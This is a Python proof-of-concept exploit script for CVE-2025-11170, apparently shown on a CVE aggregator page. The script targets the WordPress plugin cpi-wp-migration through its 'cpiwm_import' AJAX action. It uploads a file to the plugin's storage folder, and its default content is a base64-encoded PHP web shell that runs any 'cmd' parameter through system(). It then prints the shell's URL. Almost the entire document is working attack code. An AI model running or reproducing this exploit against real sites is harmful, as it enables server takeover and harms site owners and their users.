4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-11170.py PY
#!/usr/bin/env python3
# By: Nxploited
# https://github.com/Nxploited
import argparse
import base64
import logging
import sys
import time
from dataclasses import dataclass, field
from typing import Dict

import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

LOG_FORMAT = "[%(asctime)s] %(levelname)-7s [%(name)s]: %(message)s"

GITHUB_PROFILE = "https://github.com/Nxploited"

@dataclass
class NxploitedConfig:
    url: str
    filename: str
    data_b64: str
    index: str
    headers: Dict[str, str] = field(default_factory=dict)
    timeout: int = 10
    retries: int = 3
    backoff: float = 0.7
    verbose: int = 1

def Nxploited_logging(level: int):
    log_level = logging.DEBUG if level >= 2 else logging.INFO if level == 1 else logging.WARNING
    logging.basicConfig(level=log_level, format=LOG_FORMAT)
    logging.getLogger("urllib3").setLevel(logging.WARNING)

def Nxploited_retry_session(cfg: NxploitedConfig) -> requests.Session:
    session = requests.Session()
    retry = Retry(
        total=cfg.retries,
        backoff_factor=cfg.backoff,
        status_forcelist=[429, 500, 502, 503, 504],
        allowed_methods=frozenset(['POST'])
    )
    adapter = HTTPAdapter(max_retries=retry)
    session.mount("http://", adapter)
    session.mount("https://", adapter)
    base_headers = {
        "User-Agent": "Nxploited-CVE2025/1.0 (+https://nxploited.com/)",
        "Accept": "application/json,text/plain,*/*",
        "Accept-Language": "en-US,en;q=0.8",
        "Connection": "keep-alive"
    }
    if cfg.headers:
        base_headers.update(cfg.headers)
    session.headers.update(base_headers)
    return session

def Nxploited_show_step(msg, wait=0.4):
    print(msg, flush=True)
    time.sleep(wait)

def Nxploited_build_payload(cfg: NxploitedConfig) -> Dict[str, str]:
    return dict(
        action="cpiwm_import",
        filename=cfg.filename,
        data=cfg.data_b64,
        index=cfg.index
    )

def Nxploited_send(cfg: NxploitedConfig, payload: dict) -> requests.Response:
    session = Nxploited_retry_session(cfg)
    Nxploited_show_step("Uploading shell...", 0.8)
    resp = session.post(cfg.url, data=payload, timeout=cfg.timeout)
    resp.raise_for_status()
    return resp

def Nxploited_output_result(resp: requests.Response, cfg: NxploitedConfig, base_url: str) -> None:
    Nxploited_show_step("Processing response...", 0.6)
    text = resp.text.strip()
    if text == "0":
        Nxploited_show_step("[+] Upload successful!", 0.4)
        path = f"{base_url}/wp-content/plugins/cpi-wp-migration/storage/{cfg.filename}"
        Nxploited_show_step("Shell path:", 0.4)
        Nxploited_show_step(path, 0.2)
        Nxploited_show_step("Nxploited", 0.2)
        Nxploited_show_step(f"My GitHub: {GITHUB_PROFILE}", 0.2)
    else:
        Nxploited_show_step("[!] Unexpected response (not '0')", 0.5)
        Nxploited_show_step("--- Response Summary ---", 0.2)
        Nxploited_show_step(f"HTTP Code: {resp.status_code}", 0.2)
        print(text if len(text) < 700 else (text[:700] + "...(trimmed)"))

def Nxploited_parse_args(argv=None) -> (NxploitedConfig, str):
    parser = argparse.ArgumentParser(
        description="Exploit For CVE-2025-11170 By: Nxploited",
        epilog="Automated shell upload for vulnerable WordPress plugin."
    )
    parser.add_argument("-u", "--url", required=True, help="Target site URL (example: http://site.com/wordpress/)")
    parser.add_argument("-f", "--filename", default="shell.php", help="Shell filename (default: shell.php)")
    parser.add_argument("-d", "--data", default="PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+", help="Shell content as base64 (or raw text)")
    parser.add_argument("-i", "--index", default="0", help="Index value (default: 0)")
    parser.add_argument("-H", "--headers", help="Extra headers in format 'X-Key:V;K2:V2'")
    parser.add_argument("-t", "--timeout", type=int, default=10, help="Timeout in seconds")
    parser.add_argument("--retries", type=int, default=3, help="Retry attempts")
    parser.add_argument("--backoff", type=float, default=0.7, help="Backoff factor for retries")
    parser.add_argument("-v", "--verbose", action="count", default=1, help="Verbosity level (repeat -v for more)")
    args = parser.parse_args(argv)
    headers = dict()
    if args.headers:
        for item in args.headers.split(';'):
            if ':' in item:
                k, v = item.split(':', 1)
                headers[k.strip()] = v.strip()
    base_url = args.url.rstrip('/')
    ajax_url = f"{base_url}/wp-admin/admin-ajax.php"
    return NxploitedConfig(
        url=ajax_url, filename=args.filename, data_b64=args.data,
        index=args.index, headers=headers, timeout=args.timeout,
        retries=args.retries, backoff=args.backoff, verbose=args.verbose
    ), base_url

def Nxploited_main(cfg: NxploitedConfig, base_url: str) -> None:
    Nxploited_logging(cfg.verbose)
    payload = Nxploited_build_payload(cfg)
    try:
        resp = Nxploited_send(cfg, payload)
        Nxploited_output_result(resp, cfg, base_url)
    except Exception as e:
        Nxploited_show_step(f"[!] Upload failed: {e}", 0.15)
        sys.exit(2)

def Nxploited(argv=None) -> None:
    cfg, base_url = Nxploited_parse_args(argv)
    Nxploited_main(cfg, base_url)

if __name__ == "__main__":
    try:
        Nxploited()
    except KeyboardInterrupt:
        print("\nStopped by user.")
        sys.exit(1)